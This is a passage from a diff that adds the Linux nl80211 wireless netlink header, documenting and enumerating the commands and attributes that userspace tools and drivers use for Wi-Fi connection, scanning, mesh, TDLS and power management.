+ * If included, %NL80211_ATTR_MAC and %NL80211_ATTR_WIPHY_FREQ are
+ * restrictions on BSS selection, i.e., they effectively prevent roaming
+ * within the ESS. %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT
+ * can be included to provide a recommendation of the initial BSS while
+ * allowing the driver to roam to other BSSes within the ESS and also to
+ * ignore this recommendation if the indicated BSS is not ideal. Only one
+ * set of BSSID,frequency parameters is used (i.e., either the enforcing
+ * %NL80211_ATTR_MAC,%NL80211_ATTR_WIPHY_FREQ or the less strict
+ * %NL80211_ATTR_MAC_HINT and %NL80211_ATTR_WIPHY_FREQ_HINT).
+ * Background scan period can optionally be
+ * specified in %NL80211_ATTR_BG_SCAN_PERIOD,
+ * if not specified default background scan configuration
+ * in driver is used and if period value is 0, bg scan will be disabled.
+ * This attribute is ignored if driver does not support roam scan.
+ * It is also sent as an event, with the BSSID and response IEs when the
+ * connection is established or failed to be established. This can be
+ * determined by the STATUS_CODE attribute.
+ * @NL80211_CMD_ROAM: request that the card roam (currently not implemented),
+ * sent as an event when the card/driver roamed by itself.
+ * @NL80211_CMD_DISCONNECT: drop a given connection; also used to notify
+ * userspace that a connection was dropped by the AP or due to other
+ * reasons, for this the %NL80211_ATTR_DISCONNECTED_BY_AP and
+ * %NL80211_ATTR_REASON_CODE attributes are used.
+ *
+ * @NL80211_CMD_SET_WIPHY_NETNS: Set a wiphy's netns. Note that all devices
+ * associated with this wiphy must be down and will follow.
+ *
+ * @NL80211_CMD_REMAIN_ON_CHANNEL: Request to remain awake on the specified
+ * channel for the specified amount of time. This can be used to do
+ * off-channel operations like transmit a Public Action frame and wait for
+ * a response while being associated to an AP on another channel.
+ * %NL80211_ATTR_IFINDEX is used to specify which interface (and thus
+ * radio) is used. %NL80211_ATTR_WIPHY_FREQ is used to specify the
+ * frequency for the operation.
+ * %NL80211_ATTR_DURATION is used to specify the duration in milliseconds
+ * to remain on the channel. This command is also used as an event to
+ * notify when the requested duration starts (it may take a while for the
+ * driver to schedule this time due to other concurrent needs for the
+ * radio).
+ * When called, this operation returns a cookie (%NL80211_ATTR_COOKIE)
+ * that will be included with any events pertaining to this request;
+ * the cookie is also used to cancel the request.
+ * @NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL: This command can be used to cancel a
+ * pending remain-on-channel duration if the desired operation has been
+ * completed prior to expiration of the originally requested duration.
+ * %NL80211_ATTR_WIPHY or %NL80211_ATTR_IFINDEX is used to specify the
+ * radio. The %NL80211_ATTR_COOKIE attribute must be given as well to
+ * uniquely identify the request.
+ * This command is also used as an event to notify when a requested
+ * remain-on-channel duration has expired.
+ *
+ * @NL80211_CMD_SET_TX_BITRATE_MASK: Set the mask of rates to be used in TX
+ * rate selection. %NL80211_ATTR_IFINDEX is used to specify the interface
+ * and @NL80211_ATTR_TX_RATES the set of allowed rates.
+ *
+ * @NL80211_CMD_REGISTER_FRAME: Register for receiving certain mgmt frames
+ * (via @NL80211_CMD_FRAME) for processing in userspace. This command
+ * requires an interface index, a frame type attribute (optional for
+ * backward compatibility reasons, if not given assumes action frames)
+ * and a match attribute containing the first few bytes of the frame
+ * that should match, e.g. a single byte for only a category match or
+ * four bytes for vendor frames including the OUI. The registration
+ * cannot be dropped, but is removed automatically when the netlink
+ * socket is closed. Multiple registrations can be made.
+ * @NL80211_CMD_REGISTER_ACTION: Alias for @NL80211_CMD_REGISTER_FRAME for
+ * backward compatibility
+ * @NL80211_CMD_FRAME: Management frame TX request and RX notification. This
+ * command is used both as a request to transmit a management frame and
+ * as an event indicating reception of a frame that was not processed in
+ * kernel code, but is for us (i.e., which may need to be processed in a
+ * user space application). %NL80211_ATTR_FRAME is used to specify the
+ * frame contents (including header). %NL80211_ATTR_WIPHY_FREQ is used
+ * to indicate on which channel the frame is to be transmitted or was
+ * received. If this channel is not the current channel (remain-on-channel
+ * or the operational channel) the device will switch to the given channel
+ * and transmit the frame, optionally waiting for a response for the time
+ * specified using %NL80211_ATTR_DURATION. When called, this operation
+ * returns a cookie (%NL80211_ATTR_COOKIE) that will be included with the
+ * TX status event pertaining to the TX request.
+ * %NL80211_ATTR_TX_NO_CCK_RATE is used to decide whether to send the
+ * management frames at CCK rate or not in 2GHz band.
+ * %NL80211_ATTR_CSA_C_OFFSETS_TX is an array of offsets to CSA
+ * counters which will be updated to the current value. This attribute
+ * is used during CSA period.
+ * @NL80211_CMD_FRAME_WAIT_CANCEL: When an off-channel TX was requested, this
+ * command may be used with the corresponding cookie to cancel the wait
+ * time if it is known that it is no longer necessary.
+ * @NL80211_CMD_ACTION: Alias for @NL80211_CMD_FRAME for backward compatibility.
+ * @NL80211_CMD_FRAME_TX_STATUS: Report TX status of a management frame
+ * transmitted with %NL80211_CMD_FRAME. %NL80211_ATTR_COOKIE identifies
+ * the TX command and %NL80211_ATTR_FRAME includes the contents of the
+ * frame. %NL80211_ATTR_ACK flag is included if the recipient acknowledged
+ * the frame.
+ * @NL80211_CMD_ACTION_TX_STATUS: Alias for @NL80211_CMD_FRAME_TX_STATUS for
+ * backward compatibility.
+ *
+ * @NL80211_CMD_SET_POWER_SAVE: Set powersave, using %NL80211_ATTR_PS_STATE
+ * @NL80211_CMD_GET_POWER_SAVE: Get powersave status in %NL80211_ATTR_PS_STATE
+ *
+ * @NL80211_CMD_SET_CQM: Connection quality monitor configuration. This command
+ * is used to configure connection quality monitoring notification trigger
+ * levels.
+ * @NL80211_CMD_NOTIFY_CQM: Connection quality monitor notification. This
+ * command is used as an event to indicate the that a trigger level was
+ * reached.
+ * @NL80211_CMD_SET_CHANNEL: Set the channel (using %NL80211_ATTR_WIPHY_FREQ
+ * and the attributes determining channel width) the given interface
+ * (identifed by %NL80211_ATTR_IFINDEX) shall operate on.
+ * In case multiple channels are supported by the device, the mechanism
+ * with which it switches channels is implementation-defined.
+ * When a monitor interface is given, it can only switch channel while
+ * no other interfaces are operating to avoid disturbing the operation
+ * of any other interfaces, and other interfaces will again take
+ * precedence when they are used.
+ *
+ * @NL80211_CMD_SET_WDS_PEER: Set the MAC address of the peer on a WDS
+ *interface.
+ *
+ * @NL80211_CMD_JOIN_MESH: Join a mesh. The mesh ID must be given, and initial
+ * mesh config parameters may be given.
+ * @NL80211_CMD_LEAVE_MESH: Leave the mesh network -- no special arguments, the
+ * network is determined by the network interface.
+ *
+ * @NL80211_CMD_UNPROT_DEAUTHENTICATE: Unprotected deauthentication frame
+ * notification. This event is used to indicate that an unprotected
+ * deauthentication frame was dropped when MFP is in use.
+ * @NL80211_CMD_UNPROT_DISASSOCIATE: Unprotected disassociation frame
+ * notification. This event is used to indicate that an unprotected
+ * disassociation frame was dropped when MFP is in use.
+ *
+ * @NL80211_CMD_NEW_PEER_CANDIDATE: Notification on the reception of a
+ * beacon or probe response from a compatible mesh peer. This is only
+ * sent while no station information (sta_info) exists for the new peer
+ * candidate and when @NL80211_MESH_SETUP_USERSPACE_AUTH,
+ * @NL80211_MESH_SETUP_USERSPACE_AMPE, or
+ * @NL80211_MESH_SETUP_USERSPACE_MPM is set. On reception of this
+ * notification, userspace may decide to create a new station
+ * (@NL80211_CMD_NEW_STATION). To stop this notification from
+ * reoccurring, the userspace authentication daemon may want to create the
+ * new station with the AUTHENTICATED flag unset and maybe change it later
+ * depending on the authentication result.
+ *
+ * @NL80211_CMD_GET_WOWLAN: get Wake-on-Wireless-LAN (WoWLAN) settings.
+ * @NL80211_CMD_SET_WOWLAN: set Wake-on-Wireless-LAN (WoWLAN) settings.
+ * Since wireless is more complex than wired ethernet, it supports
+ * various triggers. These triggers can be configured through this
+ * command with the %NL80211_ATTR_WOWLAN_TRIGGERS attribute. For
+ * more background information, see
+ * http://wireless.kernel.org/en/users/Documentation/WoWLAN.
+ * The @NL80211_CMD_SET_WOWLAN command can also be used as a notification
+ * from the driver reporting the wakeup reason. In this case, the
+ * @NL80211_ATTR_WOWLAN_TRIGGERS attribute will contain the reason
+ * for the wakeup, if it was caused by wireless. If it is not present
+ * in the wakeup notification, the wireless device didn't cause the
+ * wakeup but reports that it was woken up.
+ *
+ * @NL80211_CMD_SET_REKEY_OFFLOAD: This command is used give the driver
+ * the necessary information for supporting GTK rekey offload. This
+ * feature is typically used during WoWLAN. The configuration data
+ * is contained in %NL80211_ATTR_REKEY_DATA (which is nested and
+ * contains the data in sub-attributes). After rekeying happened,
+ * this command may also be sent by the driver as an MLME event to
+ * inform userspace of the new replay counter.
+ *
+ * @NL80211_CMD_PMKSA_CANDIDATE: This is used as an event to inform userspace
+ * of PMKSA caching dandidates.
+ *
+ * @NL80211_CMD_TDLS_OPER: Perform a high-level TDLS command (e.g. link setup).
+ * In addition, this can be used as an event to request userspace to take
+ * actions on TDLS links (set up a new link or tear down an existing one).
+ * In such events, %NL80211_ATTR_TDLS_OPERATION indicates the requested
+ * operation, %NL80211_ATTR_MAC contains the peer MAC address, and
+ * %NL80211_ATTR_REASON_CODE the reason code to be used (only with
+ * %NL80211_TDLS_TEARDOWN).
+ * @NL80211_CMD_TDLS_MGMT: Send a TDLS management frame. The
+ * %NL80211_ATTR_TDLS_ACTION attribute determines the type of frame to be
+ * sent. Public Action codes (802.11-2012 8.1.5.1) will be sent as
+ * 802.11 management frames, while TDLS action codes (802.11-2012
+ * 8.5.13.1) will be encapsulated and sent as data frames. The currently
+ * supported Public Action code is %WLAN_PUB_ACTION_TDLS_DISCOVER_RES
+ * and the currently supported TDLS actions codes are given in
+ * &enum ieee80211_tdls_actioncode.
+ *
+ * @NL80211_CMD_UNEXPECTED_FRAME: Used by an application controlling an AP
+ * (or GO) interface (i.e. hostapd) to ask for unexpected frames to
+ * implement sending deauth to stations that send unexpected class 3
+ * frames. Also used as the event sent by the kernel when such a frame
+ * is received.
+ * For the event, the %NL80211_ATTR_MAC attribute carries the TA and
+ * other attributes like the interface index are present.
+ * If used as the command it must have an interface index and you can
+ * only unsubscribe from the event by closing the socket. Subscription
+ * is also for %NL80211_CMD_UNEXPECTED_4ADDR_FRAME events.
+ *
+ * @NL80211_CMD_UNEXPECTED_4ADDR_FRAME: Sent as an event indicating that the
+ * associated station identified by %NL80211_ATTR_MAC sent a 4addr frame
+ * and wasn't already in a 4-addr VLAN. The event will be sent similarly
+ * to the %NL80211_CMD_UNEXPECTED_FRAME event, to the same listener.
+ *
+ * @NL80211_CMD_PROBE_CLIENT: Probe an associated station on an AP interface
+ * by sending a null data frame to it and reporting when the frame is
+ * acknowleged. This is used to allow timing out inactive clients. Uses
+ * %NL80211_ATTR_IFINDEX and %NL80211_ATTR_MAC. The command returns a
+ * direct reply with an %NL80211_ATTR_COOKIE that is later used to match
+ * up the event with the request. The event includes the same data and
+ * has %NL80211_ATTR_ACK set if the frame was ACKed.
+ *
+ * @NL80211_CMD_REGISTER_BEACONS: Register this socket to receive beacons from
+ * other BSSes when any interfaces are in AP mode. This helps implement
+ * OLBC handling in hostapd. Beacons are reported in %NL80211_CMD_FRAME
+ * messages. Note that per PHY only one application may register.
+ *
+ * @NL80211_CMD_SET_NOACK_MAP: sets a bitmap for the individual TIDs whether
+ * No Acknowledgement Policy should be applied.
+ *
+ * @NL80211_CMD_CH_SWITCH_NOTIFY: An AP or GO may decide to switch channels
+ * independently of the userspace SME, send this event indicating
+ * %NL80211_ATTR_IFINDEX is now on %NL80211_ATTR_WIPHY_FREQ and the
+ * attributes determining channel width.
+ *
+ * @NL80211_CMD_CH_SWITCH_STARTED_NOTIFY: Notify that a channel switch
+ * has been started on an interface, regardless of the initiator
+ * (ie. whether it was requested from a remote device or
+ * initiated on our own). It indicates that
+ * %NL80211_ATTR_IFINDEX will be on %NL80211_ATTR_WIPHY_FREQ
+ * after %NL80211_ATTR_CH_SWITCH_COUNT TBTT's. The userspace may
+ * decide to react to this indication by requesting other
+ * interfaces to change channel as well.
+ *
+ * @NL80211_CMD_START_P2P_DEVICE: Start the given P2P Device, identified by
+ * its %NL80211_ATTR_WDEV identifier. It must have been created with
+ * %NL80211_CMD_NEW_INTERFACE previously. After it has been started, the
+ * P2P Device can be used for P2P operations, e.g. remain-on-channel and
+ * public action frame TX.
+ * @NL80211_CMD_STOP_P2P_DEVICE: Stop the given P2P Device, identified by
+ * its %NL80211_ATTR_WDEV identifier.
+ *
+ * @NL80211_CMD_CONN_FAILED: connection request to an AP failed; used to
+ * notify userspace that AP has rejected the connection request from a
+ * station, due to particular reason. %NL80211_ATTR_CONN_FAILED_REASON
+ * is used for this.
+ *
+ * @NL80211_CMD_SET_MCAST_RATE: Change the rate used to send multicast frames
+ * for IBSS or MESH vif.
+ *
+ * @NL80211_CMD_SET_MAC_ACL: sets ACL for MAC address based access control.
+ * This is to be used with the drivers advertising the support of MAC
+ * address based access control. List of MAC addresses is passed in
+ * %NL80211_ATTR_MAC_ADDRS and ACL policy is passed in
+ * %NL80211_ATTR_ACL_POLICY. Driver will enable ACL with this list, if it
+ * is not already done. The new list will replace any existing list. Driver
+ * will clear its ACL when the list of MAC addresses passed is empty. This
+ * command is used in AP/P2P GO mode. Driver has to make sure to clear its
+ * ACL list during %NL80211_CMD_STOP_AP.
+ *
+ * @NL80211_CMD_RADAR_DETECT: Start a Channel availability check (CAC). Once
+ * a radar is detected or the channel availability scan (CAC) has finished
+ * or was aborted, or a radar was detected, usermode will be notified with
+ * this event. This command is also used to notify userspace about radars
+ * while operating on this channel.
+ * %NL80211_ATTR_RADAR_EVENT is used to inform about the type of the
+ * event.
+ *
+ * @NL80211_CMD_GET_PROTOCOL_FEATURES: Get global nl80211 protocol features,
+ * i.e. features for the nl80211 protocol rather than device features.
+ * Returns the features in the %NL80211_ATTR_PROTOCOL_FEATURES bitmap.
+ *
+ * @NL80211_CMD_UPDATE_FT_IES: Pass down the most up-to-date Fast Transition
+ * Information Element to the WLAN driver
+ *
+ * @NL80211_CMD_FT_EVENT: Send a Fast transition event from the WLAN driver
+ * to the supplicant. This will carry the target AP's MAC address along
+ * with the relevant Information Elements. This event is used to report
+ * received FT IEs (MDIE, FTIE, RSN IE, TIE, RICIE).
+ *
+ * @NL80211_CMD_CRIT_PROTOCOL_START: Indicates user-space will start running
+ * a critical protocol that needs more reliability in the connection to
+ * complete.
+ *
+ * @NL80211_CMD_CRIT_PROTOCOL_STOP: Indicates the connection reliability can
+ * return back to normal.
+ *
+ * @NL80211_CMD_GET_COALESCE: Get currently supported coalesce rules.
+ * @NL80211_CMD_SET_COALESCE: Configure coalesce rules or clear existing rules.
+ *
+ * @NL80211_CMD_CHANNEL_SWITCH: Perform a channel switch by announcing the
+ * the new channel information (Channel Switch Announcement - CSA)
+ * in the beacon for some time (as defined in the
+ * %NL80211_ATTR_CH_SWITCH_COUNT parameter) and then change to the
+ * new channel. Userspace provides the new channel information (using
+ * %NL80211_ATTR_WIPHY_FREQ and the attributes determining channel
+ * width). %NL80211_ATTR_CH_SWITCH_BLOCK_TX may be supplied to inform
+ * other station that transmission must be blocked until the channel
+ * switch is complete.
+ *
+ * @NL80211_CMD_VENDOR: Vendor-specified command/event. The command is specified
+ * by the %NL80211_ATTR_VENDOR_ID attribute and a sub-command in
+ * %NL80211_ATTR_VENDOR_SUBCMD. Parameter(s) can be transported in
+ * %NL80211_ATTR_VENDOR_DATA.
+ * For feature advertisement, the %NL80211_ATTR_VENDOR_DATA attribute is
+ * used in the wiphy data as a nested attribute containing descriptions
+ * (&struct nl80211_vendor_cmd_info) of the supported vendor commands.
+ * This may also be sent as an event with the same attributes.
+ *
+ * @NL80211_CMD_SET_QOS_MAP: Set Interworking QoS mapping for IP DSCP values.
+ * The QoS mapping information is included in %NL80211_ATTR_QOS_MAP. If
+ * that attribute is not included, QoS mapping is disabled. Since this
+ * QoS mapping is relevant for IP packets, it is only valid during an
+ * association. This is cleared on disassociation and AP restart.
+ *
+ * @NL80211_CMD_ADD_TX_TS: Ask the kernel to add a traffic stream for the given
+ * %NL80211_ATTR_TSID and %NL80211_ATTR_MAC with %NL80211_ATTR_USER_PRIO
+ * and %NL80211_ATTR_ADMITTED_TIME parameters.
+ * Note that the action frame handshake with the AP shall be handled by
+ * userspace via the normal management RX/TX framework, this only sets
+ * up the TX TS in the driver/device.
+ * If the admitted time attribute is not added then the request just checks
+ * if a subsequent setup could be successful, the intent is to use this to
+ * avoid setting up a session with the AP when local restrictions would
+ * make that impossible. However, the subsequent "real" setup may still
+ * fail even if the check was successful.
+ * @NL80211_CMD_DEL_TX_TS: Remove an existing TS with the %NL80211_ATTR_TSID
+ * and %NL80211_ATTR_MAC parameters. It isn't necessary to call this
+ * before removing a station entry entirely, or before disassociating
+ * or similar, cleanup will happen in the driver/device in this case.
+ *
+ * @NL80211_CMD_GET_MPP: Get mesh path attributes for mesh proxy path to
+ * destination %NL80211_ATTR_MAC on the interface identified by
+ * %NL80211_ATTR_IFINDEX.
+ *
+ * @NL80211_CMD_JOIN_OCB: Join the OCB network. The center frequency and
+ * bandwidth of a channel must be given.
+ * @NL80211_CMD_LEAVE_OCB: Leave the OCB network -- no special arguments, the
+ * network is determined by the network interface.
+ *
+ * @NL80211_CMD_TDLS_CHANNEL_SWITCH: Start channel-switching with a TDLS peer,
+ * identified by the %NL80211_ATTR_MAC parameter. A target channel is
+ * provided via %NL80211_ATTR_WIPHY_FREQ and other attributes determining
+ * channel width/type. The target operating class is given via
+ * %NL80211_ATTR_OPER_CLASS.
+ * The driver is responsible for continually initiating channel-switching
+ * operations and returning to the base channel for communication with the
+ * AP.
+ * @NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH: Stop channel-switching with a TDLS
+ * peer given by %NL80211_ATTR_MAC. Both peers must be on the base channel
+ * when this command completes.
+ *
+ * @NL80211_CMD_WIPHY_REG_CHANGE: Similar to %NL80211_CMD_REG_CHANGE, but used
+ * as an event to indicate changes for devices with wiphy-specific regdom
+ * management.
+ *
+ * @NL80211_CMD_ABORT_SCAN: Stop an ongoing scan. Returns -ENOENT if a scan is
+ * not running. The driver indicates the status of the scan through
+ * cfg80211_scan_done().
+ *
+ * @NL80211_CMD_MAX: highest used command number
+ * @__NL80211_CMD_AFTER_LAST: internal use
+ */
+enum nl80211_commands {
+ /* don't change the order or add anything between, this is ABI! */
+ NL80211_CMD_UNSPEC,
+
+ NL80211_CMD_GET_WIPHY, /* can dump */
+ NL80211_CMD_SET_WIPHY,
+ NL80211_CMD_NEW_WIPHY,
+ NL80211_CMD_DEL_WIPHY,
+
+ NL80211_CMD_GET_INTERFACE, /* can dump */
+ NL80211_CMD_SET_INTERFACE,
+ NL80211_CMD_NEW_INTERFACE,
+ NL80211_CMD_DEL_INTERFACE,
+
+ NL80211_CMD_GET_KEY,
+ NL80211_CMD_SET_KEY,
+ NL80211_CMD_NEW_KEY,
+ NL80211_CMD_DEL_KEY,
+
+ NL80211_CMD_GET_BEACON,
+ NL80211_CMD_SET_BEACON,
+ NL80211_CMD_START_AP,
+ NL80211_CMD_NEW_BEACON = NL80211_CMD_START_AP,
+ NL80211_CMD_STOP_AP,
+ NL80211_CMD_DEL_BEACON = NL80211_CMD_STOP_AP,
+
+ NL80211_CMD_GET_STATION,
+ NL80211_CMD_SET_STATION,
+ NL80211_CMD_NEW_STATION,
+ NL80211_CMD_DEL_STATION,
+
+ NL80211_CMD_GET_MPATH,
+ NL80211_CMD_SET_MPATH,
+ NL80211_CMD_NEW_MPATH,
+ NL80211_CMD_DEL_MPATH,
+
+ NL80211_CMD_SET_BSS,
+
+ NL80211_CMD_SET_REG,
+ NL80211_CMD_REQ_SET_REG,
+
+ NL80211_CMD_GET_MESH_CONFIG,
+ NL80211_CMD_SET_MESH_CONFIG,
+
+ NL80211_CMD_SET_MGMT_EXTRA_IE /* reserved; not used */,
+
+ NL80211_CMD_GET_REG,
+
+ NL80211_CMD_GET_SCAN,
+ NL80211_CMD_TRIGGER_SCAN,
+ NL80211_CMD_NEW_SCAN_RESULTS,
+ NL80211_CMD_SCAN_ABORTED,
+
+ NL80211_CMD_REG_CHANGE,
+
+ NL80211_CMD_AUTHENTICATE,
+ NL80211_CMD_ASSOCIATE,
+ NL80211_CMD_DEAUTHENTICATE,
+ NL80211_CMD_DISASSOCIATE,
+
+ NL80211_CMD_MICHAEL_MIC_FAILURE,
+
+ NL80211_CMD_REG_BEACON_HINT,
+
+ NL80211_CMD_JOIN_IBSS,
+ NL80211_CMD_LEAVE_IBSS,
+
+ NL80211_CMD_TESTMODE,
+
+ NL80211_CMD_CONNECT,
+ NL80211_CMD_ROAM,
+ NL80211_CMD_DISCONNECT,
+
+ NL80211_CMD_SET_WIPHY_NETNS,
+
+ NL80211_CMD_GET_SURVEY,
+ NL80211_CMD_NEW_SURVEY_RESULTS,
+
+ NL80211_CMD_SET_PMKSA,
+ NL80211_CMD_DEL_PMKSA,
+ NL80211_CMD_FLUSH_PMKSA,
+
+ NL80211_CMD_REMAIN_ON_CHANNEL,
+ NL80211_CMD_CANCEL_REMAIN_ON_CHANNEL,
+
+ NL80211_CMD_SET_TX_BITRATE_MASK,
+
+ NL80211_CMD_REGISTER_FRAME,
+ NL80211_CMD_REGISTER_ACTION = NL80211_CMD_REGISTER_FRAME,
+ NL80211_CMD_FRAME,
+ NL80211_CMD_ACTION = NL80211_CMD_FRAME,
+ NL80211_CMD_FRAME_TX_STATUS,
+ NL80211_CMD_ACTION_TX_STATUS = NL80211_CMD_FRAME_TX_STATUS,
+
+ NL80211_CMD_SET_POWER_SAVE,
+ NL80211_CMD_GET_POWER_SAVE,
+
+ NL80211_CMD_SET_CQM,
+ NL80211_CMD_NOTIFY_CQM,
+
+ NL80211_CMD_SET_CHANNEL,
+ NL80211_CMD_SET_WDS_PEER,
+
+ NL80211_CMD_FRAME_WAIT_CANCEL,
+
+ NL80211_CMD_JOIN_MESH,
+ NL80211_CMD_LEAVE_MESH,
+
+ NL80211_CMD_UNPROT_DEAUTHENTICATE,
+ NL80211_CMD_UNPROT_DISASSOCIATE,
+
+ NL80211_CMD_NEW_PEER_CANDIDATE,
+
+ NL80211_CMD_GET_WOWLAN,
+ NL80211_CMD_SET_WOWLAN,
+
+ NL80211_CMD_START_SCHED_SCAN,
+ NL80211_CMD_STOP_SCHED_SCAN,
+ NL80211_CMD_SCHED_SCAN_RESULTS,
+ NL80211_CMD_SCHED_SCAN_STOPPED,
+
+ NL80211_CMD_SET_REKEY_OFFLOAD,
+
+ NL80211_CMD_PMKSA_CANDIDATE,
+
+ NL80211_CMD_TDLS_OPER,
+ NL80211_CMD_TDLS_MGMT,
+
+ NL80211_CMD_UNEXPECTED_FRAME,
+
+ NL80211_CMD_PROBE_CLIENT,
+
+ NL80211_CMD_REGISTER_BEACONS,
+
+ NL80211_CMD_UNEXPECTED_4ADDR_FRAME,
+
+ NL80211_CMD_SET_NOACK_MAP,
+
+ NL80211_CMD_CH_SWITCH_NOTIFY,
+
+ NL80211_CMD_START_P2P_DEVICE,
+ NL80211_CMD_STOP_P2P_DEVICE,
+
+ NL80211_CMD_CONN_FAILED,
+
+ NL80211_CMD_SET_MCAST_RATE,
+
+ NL80211_CMD_SET_MAC_ACL,
+
+ NL80211_CMD_RADAR_DETECT,
+
+ NL80211_CMD_GET_PROTOCOL_FEATURES,
+
+ NL80211_CMD_UPDATE_FT_IES,
+ NL80211_CMD_FT_EVENT,
+
+ NL80211_CMD_CRIT_PROTOCOL_START,
+ NL80211_CMD_CRIT_PROTOCOL_STOP,
+
+ NL80211_CMD_GET_COALESCE,
+ NL80211_CMD_SET_COALESCE,
+
+ NL80211_CMD_CHANNEL_SWITCH,
+
+ NL80211_CMD_VENDOR,
+
+ NL80211_CMD_SET_QOS_MAP,
+
+ NL80211_CMD_ADD_TX_TS,
+ NL80211_CMD_DEL_TX_TS,
+
+ NL80211_CMD_GET_MPP,
+
+ NL80211_CMD_JOIN_OCB,
+ NL80211_CMD_LEAVE_OCB,
+
+ NL80211_CMD_CH_SWITCH_STARTED_NOTIFY,
+
+ NL80211_CMD_TDLS_CHANNEL_SWITCH,
+ NL80211_CMD_TDLS_CANCEL_CHANNEL_SWITCH,
+
+ NL80211_CMD_WIPHY_REG_CHANGE,
+
+ NL80211_CMD_ABORT_SCAN,
+
+ /* add new commands above here */
+
+ /* used to define NL80211_CMD_MAX below */
+ __NL80211_CMD_AFTER_LAST,
+ NL80211_CMD_MAX = __NL80211_CMD_AFTER_LAST - 1
+};
+
+/*
+ * Allow user space programs to use #ifdef on new commands by defining them
+ * here
+ */
+#define NL80211_CMD_SET_BSS NL80211_CMD_SET_BSS
+#define NL80211_CMD_SET_MGMT_EXTRA_IE NL80211_CMD_SET_MGMT_EXTRA_IE
+#define NL80211_CMD_REG_CHANGE NL80211_CMD_REG_CHANGE
+#define NL80211_CMD_AUTHENTICATE NL80211_CMD_AUTHENTICATE
+#define NL80211_CMD_ASSOCIATE NL80211_CMD_ASSOCIATE
+#define NL80211_CMD_DEAUTHENTICATE NL80211_CMD_DEAUTHENTICATE
+#define NL80211_CMD_DISASSOCIATE NL80211_CMD_DISASSOCIATE
+#define NL80211_CMD_REG_BEACON_HINT NL80211_CMD_REG_BEACON_HINT
+
+#define NL80211_ATTR_FEATURE_FLAGS NL80211_ATTR_FEATURE_FLAGS
+
+/* source-level API compatibility */
+#define NL80211_CMD_GET_MESH_PARAMS NL80211_CMD_GET_MESH_CONFIG
+#define NL80211_CMD_SET_MESH_PARAMS NL80211_CMD_SET_MESH_CONFIG
+#define NL80211_MESH_SETUP_VENDOR_PATH_SEL_IE NL80211_MESH_SETUP_IE
+
+/**
+ * enum nl80211_attrs - nl80211 netlink attributes
+ *
+ * @NL80211_ATTR_UNSPEC: unspecified attribute to catch errors
+ *
+ * @NL80211_ATTR_WIPHY: index of wiphy to operate on, cf.
+ * /sys/class/ieee80211/<phyname>/index
+ * @NL80211_ATTR_WIPHY_NAME: wiphy name (used for renaming)
+ * @NL80211_ATTR_WIPHY_TXQ_PARAMS: a nested array of TX queue parameters
+ * @NL80211_ATTR_WIPHY_FREQ: frequency of the selected channel in MHz,
+ * defines the channel together with the (deprecated)
+ * %NL80211_ATTR_WIPHY_CHANNEL_TYPE attribute or the attributes
+ * %NL80211_ATTR_CHANNEL_WIDTH and if needed %NL80211_ATTR_CENTER_FREQ1
+ * and %NL80211_ATTR_CENTER_FREQ2
+ * @NL80211_ATTR_CHANNEL_WIDTH: u32 attribute containing one of the values
+ * of &enum nl80211_chan_width, describing the channel width. See the
+ * documentation of the enum for more information.
+ * @NL80211_ATTR_CENTER_FREQ1: Center frequency of the first part of the
+ * channel, used for anything but 20 MHz bandwidth
+ * @NL80211_ATTR_CENTER_FREQ2: Center frequency of the second part of the
+ * channel, used only for 80+80 MHz bandwidth
+ * @NL80211_ATTR_WIPHY_CHANNEL_TYPE: included with NL80211_ATTR_WIPHY_FREQ
+ * if HT20 or HT40 are to be used (i.e., HT disabled if not included):
+ * NL80211_CHAN_NO_HT = HT not allowed (i.e., same as not including
+ * this attribute)
+ * NL80211_CHAN_HT20 = HT20 only
+ * NL80211_CHAN_HT40MINUS = secondary channel is below the primary channel
+ * NL80211_CHAN_HT40PLUS = secondary channel is above the primary channel
+ * This attribute is now deprecated.
+ * @NL80211_ATTR_WIPHY_RETRY_SHORT: TX retry limit for frames whose length is
+ * less than or equal to the RTS threshold; allowed range: 1..255;
+ * dot11ShortRetryLimit; u8
+ * @NL80211_ATTR_WIPHY_RETRY_LONG: TX retry limit for frames whose length is
+ * greater than the RTS threshold; allowed range: 1..255;
+ * dot11ShortLongLimit; u8
+ * @NL80211_ATTR_WIPHY_FRAG_THRESHOLD: fragmentation threshold, i.e., maximum
+ * length in octets for frames; allowed range: 256..8000, disable
+ * fragmentation with (u32)-1; dot11FragmentationThreshold; u32
+ * @NL80211_ATTR_WIPHY_RTS_THRESHOLD: RTS threshold (TX frames with length
+ * larger than or equal to this use RTS/CTS handshake); allowed range:
+ * 0..65536, disable with (u32)-1; dot11RTSThreshold; u32
+ * @NL80211_ATTR_WIPHY_COVERAGE_CLASS: Coverage Class as defined by IEEE 802.11
+ * section 7.3.2.9; dot11CoverageClass; u8
+ *
+ * @NL80211_ATTR_IFINDEX: network interface index of the device to operate on
+ * @NL80211_ATTR_IFNAME: network interface name
+ * @NL80211_ATTR_IFTYPE: type of virtual interface, see &enum nl80211_iftype
+ *
+ * @NL80211_ATTR_WDEV: wireless device identifier, used for pseudo-devices
+ * that don't have a netdev (u64)
+ *
+ * @NL80211_ATTR_MAC: MAC address (various uses)
+ *
+ * @NL80211_ATTR_KEY_DATA: (temporal) key data; for TKIP this consists of
+ * 16 bytes encryption key followed by 8 bytes each for TX and RX MIC
+ * keys
+ * @NL80211_ATTR_KEY_IDX: key ID (u8, 0-3)
+ * @NL80211_ATTR_KEY_CIPHER: key cipher suite (u32, as defined by IEEE 802.11
+ * section 7.3.2.25.1, e.g. 0x000FAC04)
+ * @NL80211_ATTR_KEY_SEQ: transmit key sequence number (IV/PN) for TKIP and
+ * CCMP keys, each six bytes in little endian
+ * @NL80211_ATTR_KEY_DEFAULT: Flag attribute indicating the key is default key
+ * @NL80211_ATTR_KEY_DEFAULT_MGMT: Flag attribute indicating the key is the
+ * default management key
+ * @NL80211_ATTR_CIPHER_SUITES_PAIRWISE: For crypto settings for connect or
+ * other commands, indicates which pairwise cipher suites are used
+ * @NL80211_ATTR_CIPHER_SUITE_GROUP: For crypto settings for connect or
+ * other commands, indicates which group cipher suite is used
+ *
+ * @NL80211_ATTR_BEACON_INTERVAL: beacon interval in TU
+ * @NL80211_ATTR_DTIM_PERIOD: DTIM period for beaconing
+ * @NL80211_ATTR_BEACON_HEAD: portion of the beacon before the TIM IE
+ * @NL80211_ATTR_BEACON_TAIL: portion of the beacon after the TIM IE
+ *
+ * @NL80211_ATTR_STA_AID: Association ID for the station (u16)
